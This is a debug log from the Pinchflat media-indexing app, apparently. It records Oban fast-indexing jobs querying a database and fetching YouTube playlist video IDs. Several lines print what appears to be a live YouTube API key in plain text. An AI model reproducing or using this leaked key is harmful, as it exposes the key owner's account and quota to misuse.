db=0.1ms idle=275.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268217, 26, ~U[2026-10-09 21:24:57Z], ~U[2026-10-09 21:24:57Z]] 16:24:57.883 [info] {"args":{"id":26},"id":5268178,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":276928,"event":"job:stop","queue_time":690859,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:58.461 [info] {"args":{"id":30},"id":5268179,"meta":{},"system_time":1791581098461241467,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:58.461 [debug] QUERY OK source="sources" db=0.2ms idle=578.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:24:58.461 [debug] QUERY OK source="settings" db=0.0ms idle=578.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:58.462 [debug] QUERY OK source="media_profiles" db=0.1ms idle=572.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:24:58.462 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:58.462 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:24:58.462 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:58.462 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:24:58.662 [debug] QUERY OK source="media_items" db=0.4ms idle=200.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:24:58.663 [debug] QUERY OK source="media_items" db=0.1ms idle=201.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:24:58.663 [debug] QUERY OK source="tasks" db=0.1ms idle=201.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268218, 30, ~U[2026-10-09 21:24:58Z], ~U[2026-10-09 21:24:58Z]] 16:24:58.664 [info] {"args":{"id":30},"id":5268179,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":202629,"event":"job:stop","queue_time":369734,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:58.670 [info] {"args":{"id":8},"id":5268180,"meta":{},"system_time":1791581098670153615,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:58.670 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:24:58.670 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:58.670 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:24:58.670 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:58.670 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:24:58.670 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:58.670 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:24:58.893 [debug] QUERY OK source="media_items" db=0.7ms idle=221.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:24:58.894 [debug] QUERY OK source="media_items" db=0.3ms idle=223.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:24:58.894 [debug] QUERY OK source="tasks" db=0.1ms idle=223.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268219, 8, ~U[2026-10-09 21:24:58Z], ~U[2026-10-09 21:24:58Z]] 16:24:58.895 [info] {"args":{"id":8},"id":5268180,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":224807,"event":"job:stop","queue_time":414705,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:59.462 [info] {"args":{"id":34},"id":5268181,"meta":{},"system_time":1791581099462202754,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:59.462 [debug] QUERY OK source="sources" db=0.1ms idle=567.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:24:59.462 [debug] QUERY OK source="settings" db=0.0ms idle=567.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:59.462 [debug] QUERY OK source="media_profiles" db=0.1ms idle=561.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:24:59.463 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:59.463 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:24:59.463 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:59.463 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:24:59.746 [debug] QUERY OK source="media_items" db=0.8ms idle=282.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:24:59.748 [debug] QUERY OK source="media_items" db=1.0ms idle=284.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:24:59.748 [debug] QUERY OK source="tasks" db=0.1ms idle=285.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268220, 34, ~U[2026-10-09 21:24:59Z], ~U[2026-10-09 21:24:59Z]] 16:24:59.749 [info] {"args":{"id":34},"id":5268181,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":286665,"event":"job:stop","queue_time":552734,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:00.391 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:00.463 [info] {"args":{"id":33},"id":5268182,"meta":{},"system_time":1791581100463213176,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:00.463 [debug] QUERY OK source="sources" db=0.1ms idle=714.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:25:00.463 [debug] QUERY OK source="settings" db=0.1ms idle=708.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:00.463 [debug] QUERY OK source="media_profiles" db=0.1ms idle=72.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:00.464 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:00.464 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:25:00.464 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:00.464 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:00.787 [debug] QUERY OK source="media_items" db=0.7ms idle=323.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "Q7MpFTrT9Gk", "pjovhZ7HkNs", "3F9M1ttIIbU", "7soMd19QQo0", "_sJ45_nrbms", "WO591I22Yew", "Sh1SWKZ8oQo", "6G19kaP8kJQ", "G3z8mL2_oJo", "AAOQUkA27Q0", "ZrAkCJS9H1s", "tCGBoTY8sq4", "Puny-2wkMZA", "DCfhUeYWv9A", "QGHDN7Zdu1E", "rVUBIzOwci8", "p6EAA6PNaec", "gxi72c5pXKs", "8ZjfzTLmuyM", "luq4Vsy38Ac", "8quSH5g6yl4", "UecKUN9AUaM", "-wjoCF-WPTI", "CW35wawjROc", "fMp3TPlEBQg", "ZsAwLo1q3j8", "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", ...] 16:25:00.788 [debug] QUERY OK source="media_items" db=0.5ms idle=324.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:25:00.789 [debug] QUERY OK source="tasks" db=0.1ms idle=325.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" 